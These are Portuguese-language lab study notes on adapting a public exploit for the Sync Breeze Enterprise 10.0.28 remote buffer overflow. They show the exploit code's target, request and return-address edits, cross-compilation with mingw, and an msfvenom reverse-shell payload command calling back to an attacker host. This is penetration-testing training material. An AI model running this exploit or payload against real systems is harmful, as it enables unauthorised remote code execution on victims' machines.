Corrigindo um Exploit Público

→ Vamos corrigir aqui o Sync Breeze

```
searchsploit sync breeze 10.0.28
```

```
searchsploit sync breeze -m 42928.py
```

```
searchsploit sync breeze -m 42341.c
```

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# searchsploit sync breeze -m 42928.py
[!] Could not find EDB-ID #


[!] Could not find EDB-ID #


  Exploit: Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow
      URL: https://www.exploit-db.com/exploits/42928
     Path: /usr/share/exploitdb/exploits/windows/remote/42928.py
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/kali/42928.py
```

→ De início, vamos mudar o endereço de ip e a porta para aquele que queremos executar

```
printf("[>] Socket created.\n");
server.sin_addr.s_addr = inet_addr("172.16.116.222");
server.sin_family = AF_INET;
server.sin_port = htons(8080);
```

```
char request_one[] = "POST /login HTTP/1.1\r\n"
                     "Host: 172.16.116.222\r\n"
                     "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
                     "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                     "Accept-Language: en-US,en;q=0.5\r\n"
                     "Referer: http://172.16.116.222/login\r\n"
                     "Connection: close\r\n"
                     "Content-Type: application/x-www-form-urlencoded\r\n"
                     "Content-Length: ";
char request_two[] = "\r\n\r\nusername=";
```

→ No endereço de retorno está sendo passada uma dll que n sabemos se o sistema tem ou não

```
int initial_buffer_size = 780;
char *padding = malloc(initial_buffer_size);
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);
unsigned char retn[] = "\xcb\x75\x52\x73"; //ret at msvbvm60.dll
```

→ No caso, devemos montar um laboratório que simule de fato o sistema que vamos atacar. Se formos atacar um Win10, devemos usar essa versão para sabermos exatamente os alocamentos de memória que funcionarão

→ Sobre o ShellCode, como não sabemos exatamente o que ele faz, iremos apagá-lo para executar um novo que iremos gerar

+ Para executar esse bonitão, devemos compilá-lo. Mas ele é para Windows, então devemos gerar um executável que, obviamente, não será compilado pelo gcc normal do Linux

```
apt install mingw-w64
```

+ Lembrando, na montagem do LAB, vamos analisar o Sync Breeze por meio do Immunity Debugger
+ Para compilar o código e montar um executável:

```
i686-w64-mingw32-gcc 42341.c -o exploit.exe
```

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# i686-w64-mingw32-gcc 42341.c -o exploit.exe
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x97): undefined reference to `_imp__WSAStartup@8'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0xa5): undefined reference to `_imp__WSAGetLastError@0'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0xe9): undefined reference to `_imp__socket@12'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0xfc): undefined reference to `_imp__WSAGetLastError@0'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x126): undefined reference to `_imp__inet_addr@4'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x146): undefined reference to `_imp__htons@4'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x16f): undefined reference to `_imp__connect@12'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x1b8): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/cc7QqM5U.o:42341.c:(.text+0x1eb): undefined reference to `_imp__closesocket@4'
collect2: error: ld returned 1 exit status
```

→ Ele está reclamando das referências acima.
→ Como ele usar Socket, devemos passar o seguinte na linha de comando

```
i686-w64-mingw32-gcc 42341.c -o exploit.exe -lws2_32
```

→ Compilou e gerou um executável

```
┌──(root㉿DESKTOP-NJHHNK6)-[/home/kali]
└─# file exploit.exe
exploit.exe: PE32 executable (console) Intel 80386, for MS Windows, 17 sections
```

→ Para executar o código, precisaremos de um emulador: wine

```
apt install wine
```

→ Trocamos o endereço de retorno pra um que fosse válido de acordo com o novo sistema
→ Montamos o shellcode da seguinte maneira:

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.2 lport=443
exitfunc=thread -f c -b
"\x00\x0a\x0d\x25\x26\x2b\x3d"
```

+DICA PRA APAGAR O PAYLOAD MUITO RÁPIDO: CTRL+K
→ E esse processo inteiro já foi suficiente para o acesso remoto com o usuário apenas executando o programa